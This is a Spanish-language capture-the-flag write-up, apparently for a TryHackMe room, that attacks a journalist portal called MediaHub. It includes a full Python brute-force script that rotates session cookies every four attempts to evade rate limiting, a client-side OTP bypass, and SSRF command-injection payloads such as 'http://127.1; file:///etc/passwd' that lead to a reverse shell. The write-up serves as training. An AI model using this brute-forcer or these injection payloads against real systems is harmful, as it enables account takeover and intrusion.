Introduction

Usa BurpSuite o conocimiento sobre intercepciones para modificar el tráfico y pwnear la máquina.
MediaHub parece ser un portal de internet normal usado por periodistas para gestionar contenido. Parece que todo está protegido detrás de un sistema de login y verificación, pero la historia real radica en cómo la aplicación se comunica con las APIs del backend.

Tu tarea es asumir el rol de atacante y observar el tráfico entre el navegador y el servidor. Usando tus habilidades proxy, intercepta peticiones, analiza cómo la aplicación las procesa y experimenta con la modificación de información que se manda.
Si entiendes el flujo suficientemente bien, un pequeño cambio en la petición puede ser lo que necesites para bypassear los controles.
Getting the Flags
Reconocimiento Inicial
Comenzamos analizando los puertos abiertos.

Ahora vamos a escanear dichos puertos más en profundidad.

Vamos a ver qué directorios tiene.

Ahora vamos a ver cómo es la web.
Profundización
Vamos a meternos a mirar el código de la página.

Parece que la página no está mirando si la respuesta es correcta, sino si no es errónea. Aquí puede haber algún problema. Vamos a abrir BurpSuite a ver qué nos encontramos.

Esta es la petición. Ahora observamos la respuesta del servidor capturándola.

Observamos la interacción.

Parece que está mandando la comprobación al navegador y es este el que decide (aparentemente). Vamos a cambiar el:
{ "ok":false, "error":"Invalid credentials." }
Por:
{ "ok":true }
Y redireccionamos la respuesta.

Observamos el navegador.

Parece que algo no termina de funcionar. Vamos a volver atrás y a escanear un poco más. Después de rompernos la cabeza, damos con algo interesante:

Ojo porque aquí podemos ver que hay una verificación de doble factor con un OTP. Vamos a ver qué hay en login.php.bak.

Explotación
Bruteforceo de Contraseña
Vamos ahora a realizar un diccionario para probar.
for i in {1900..2026}; do echo "MediaHub$i"; done > diccionario.txt
Con esta lista vamos a atacar el login.

Aquí nos encontramos con un problema. El login se encuentra capado por un rate limit:

Vemos que cada 4 peticiones dice que ha habido demasiados intentos, por lo que tendremos que hacer un exploit que cambie de COOKIE cada 4 intentos. De esa manera terminamos con este código:
import requests URL = "http://interception.thm/api_login.php" EMAIL = "admin@mediahub.thm" WORDLIST = "pass_interception_admin.txt" SESSION_LIMIT = 4 def nueva_sesion(): session = requests.Session() session.headers.update({ "User-Agent": "Mozilla/5.0", "Accept": "application/json, text/plain, */*" }) # Entramos primero en login.php para obtener la sesión/cookies session.get( "http://interception.thm/login.php", timeout=10 ) print( f"[*] Nueva sesión. PHPSESSID: " f"{session.cookies.get('PHPSESSID')}" ) return session # Cargar diccionario with open(WORDLIST, "r", encoding="utf-8", errors="ignore") as f: passwords = [line.strip() for line in f if line.strip()] print(f"[*] Cargadas {len(passwords)} contraseñas.") print("[*] Iniciando ataque...\n") session = nueva_sesion() intentos = 0 for password in passwords: # Nueva sesión cada 4 intentos if intentos >= SESSION_LIMIT: session = nueva_sesion() intentos = 0 intentos += 1 print( f"[~] Probando: {password} " f"(Intento {intentos}/{SESSION_LIMIT} con la sesión actual)" ) try: response = session.post( URL, data={ "email": EMAIL, "password": password }, timeout=10 ) except requests.RequestException as e: print(f"[!] Error de conexión: {e}") continue # La API debería devolver JSON try: data = response.json() except ValueError: print("[!] La respuesta no es JSON.") print(f" HTTP: {response.status_code}") print(f" Respuesta: {response.text[:300]!r}") continue print(f" HTTP: {response.status_code}") print(f" JSON: {data}") # La propia página indica que api_login.php devuelve: # { "ok": false, "error": "Invalid credentials." } # # o, si es correcto: # { "ok": true, ... } if data.get("ok") is False: print(f"[-] Incorrecta: {password}\n") continue if data.get("ok") is True: print("\n" + "=" * 60) print(f"[+] POSIBLE CONTRASEÑA CORRECTA: {password}") print(f"[+] Respuesta: {data}") print("=" * 60) break print("[!] Respuesta inesperada de la API.\n") else: print( "\n[-] Se terminó el diccionario " "y no se encontró la contraseña correcta." )
De esta manera encontramos la contraseña.

Vamos a iniciar sesión y a ver qué es el OTP con BurpSuite.

OTP Bypass
Vamos a ver qué se manda en la petición.

Volvemos a interceptar la respuesta.

Vamos a cambiarlo:

No parece funcionar. Vamos a intentar mandar la variable is_verified ya corregida:

Parece que esto sí funciona. Vamos a realizarlo en la petición del proxy.

Y le damos a Forward All.

Hemos conseguido la primera flag.
SSRF + Inyección de Comandos
En la página vemos un formulario que aparentemente envía una petición a una URL. Vamos a probar a ver si puede enviarla a nuestra máquina.
Nos ponemos en escucha.

Y mandamos la petición.

No nos deja. Vamos a probar con localhost.

Vamos a probar una URL externa:

Parece que esto sí le gusta. Está usando curl. Vamos a ver 127.0.0.1.

Tampoco le vale, pero puede que esté filtrando exclusivamente y 127.1 también funciona como localhost.

Esto sí que funciona y además vemos el puerto 80. Vamos a intentar una inyección de comandos.

Parece que así no funciona. Vamos a intentar leer algún archivo con:
http://127.1; file:///etc/passwd

Si probamos a meterlo entre backticks, podemos ver que si funciona.

Probando con $() vemos que también funciona.

Vamos a intentar conseguir una reverse shell.

No funciona, por lo que vamos a crear un script que descargaremos en la máquina y después ejecutaremos.

De esta manera lo hemos descargado. Y ahora vamos a ejecutarlo.

Hemos obtenido la shell. Vamos a buscar la flag.

